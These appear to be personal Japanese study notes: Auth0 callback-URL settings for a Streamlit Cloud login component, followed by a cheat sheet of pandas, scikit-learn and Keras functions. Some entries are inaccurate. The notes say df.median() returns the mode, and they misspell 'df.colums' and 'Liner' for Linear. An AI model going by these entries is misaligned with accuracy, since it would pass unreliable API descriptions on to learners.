https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html, http://YOUR_AUTH0_DOMAIN/component/auth0_component.login_button/index.html

2,Allowed Web origin

https://YOUR_APP_ON_STREAMLIT_CLOUD_DOMAIN/~/+/component/auth0_component.login_button/index.html




↓存在しないアカウントとstreamlit cloud上のアプリ
Auth0 settings page
My App url on streamlit cloud

https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/


Auth0の設定
1,call back URL

https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html, http://dev-o3y3v7wthueiyyyt.us.auth0.com/component/auth0_component.login_button/index.html


2,Allowed Web origin

https://crum7-test-streamlit-appmikata-main-ub2ry5.streamlit.app/~/+/component/auth0_component.login_button/index.html

機械学習 よく使う関数

Pandas

import pandas as pd

df,dataframe

axisとは。。

列(縦)に沿った処理はaxis=0
行(横)に沿った処理はaxis=1

DataFrameとSeriesの違い。。

Seriesは1つのカラムを指すデータ構造。1次元構造

DataFrameは多数のSeriesの集まり。2次元構造


・pd.read_csv()

csvをdataframeとして読み込む

index_col:indexとするcolumn名

names=['colomnの名前','colomnの名前']

 

・df.to_csv('csv_name')

DataFrameをcsvに書き出し


・df.colums

dataframe内の列名のみを表示

 

・df.dropna(axis=1)

NaNを削除

 

・df.カラム名

DataFrame内の特定の列を指定する

 

・まとめて特定の列を一つの変数に入れる

colums=["example1","example2","example3"]

df[colums]

列名をリストにまとめて、dataframe[リスト]とすることで複数の特定の列を一気に読み出せる

 

・iloc[0]

指定した数字の行数を受け取れる

df.列の名前.iloc[0] 指定した列の0行目の値を取得

.iloc[0:10] 10行目まで取得

 .iloc[ [ 0,1,10] , : ] 指定した複数の行(0,1,10)&すべての列を取得

 

・.loc

.loc[ [ 0,10,100 ] , [ 'country' , 'province' , 'region_1' ] ]  指定した複数の行&指定した複数の列を取得

同じことを.ilocでやろうとしても無理

.loc [ df.country == ' Italy ' ] df.countryがItalyの行を取得

df.loc[(df.country.isin(['Australia','New Zealand'])) & (df.points >= 95)] .locのなかで、.isin(List)を使用すると、listに合致するものを取得

 

・df.describe()

count,mean, std,min,25%,50%,75%,maxを一括で表示

 

・df.median()

最頻値を取得

 

・df.unique()

列の情報を重複なしで取得

 

・df.value_counts()

それぞれの要素がいくつあるのかを取得

 

・df.mean()

平均値を取得

センタリングといって、各特徴量の中心を0に揃える。各特徴量において、平均を計算し、それを各値から引く前処理で使用される。↓

df.price - df.price.mean()

 

・df.groupby()

グループに分ける

 

・df.groupby().agg([len, min, max])

もう一つのgroupby()メソッドとして、agg()がある。

len,min,maxを出してくれる

 

・df.dtype

なんのtypeなのかを調査

 

・df.astype('type名')

dataframeを好きなtypeに変換する

 

・pd.concat([df,df])

複数のDataFrameを結合

 

 

 

 

 

sklearn

・DecisionTreeRegressor(random_state=1)

モデルを定義する。random_state に数値を指定し、毎回同じ結果になるようにする。

 

・fit()

モデルの学習

 

・predict()

モデルの推論

 

・train_test_split()

例:train_X, val_X, train_y, val_y = train_test_split(X, y, random_state=1)

データを訓練用とテスト用に分ける

割合、個数を指定: 引数test_size, train_size
シャッフルするかを指定: 引数shuffle
乱数シードを指定: 引数random_state

 

・mean_absolute_error(検証用データ,推論結果)

平均絶対誤差の計算

 

 

tensorflow keras

KerasのLiner層(全結合層)

model = keras.Sequential([

 #最初だからinput_sizeが必要

    layers.Dense(unitサイズ , input_shape=[入力サイズ])

 

 #途中

 layers.Dense(unitサイズ)

 

 #最後の全結合層

  layers.Dense(1)

 

])

 

重みをみる

w, b = model.weights

 

KerasのActivation層(活性化関数層)

model = keras.Sequential([
    layers.Activation('relu'),
    layers.Dense(32),
    layers.Activation('relu'),
    layers.Dense(1),
])

 

Kerasのロス関数・最適化関数

model.compile(
    optimizer = "adam",
    loss="mae"
)

optimizerで最適化アルゴリズムを記述

lossでロス関数を記述

 

optimizerの種類:adam,sgd

lossの種類:mae,binary_crossentropy,

metricsの種類:['binary_accuracy'],

 

 

 

 

model train

train_X, val_X, train_y, val_y = train_test_split(X, y, random_state=1)
history = model.fit(
    train_X,train_y,
    validation_data=(val_X,val_y),
    batch_size=256,
    epochs = 200
)

 

・trainの様子をgifで表示

 

learning_rate = 0.05
batch_size = 32
num_examples = 256

animate_sgd(
    learning_rate=learning_rate,
    batch_size=batch_size,
    num_examples=num_examples,
    # You can also change these, if you like
    steps=50, # total training steps (batches seen)
    true_w=3.0, # the slope of the data
    true_b=2.0, # the bias of the data
)

 

・早期終了

early_stopping = EarlyStopping(
    min_delta=0.001,
    patience=5,
    restore_best_weights=True,
)

 

ドロップアウト

model = keras.Sequential([
    layers.Dense(128, activation='relu', input_shape=input_shape),
    layers.Dropout(rate=0.3),
    layers.Dense(64, activation='relu'),
    layers.Dropout(rate=0.3),
    layers.Dense(1)
])

全結合層と全結合層の間にDropout()を挟む

 

・BatchNormalization

model = keras.Sequential([
    layers.BatchNormalization(),
    layers.Dense(512, activation='relu', input_shape=input_shape),
    layers.BatchNormalization(),
    layers.Dense(512, activation='relu'),
    layers.BatchNormalization(),
    layers.Dense(512, activation='relu'),
    layers.BatchNormalization(),
    layers.Dense(1),
])

Dropoutと同じく、各層の間に入れる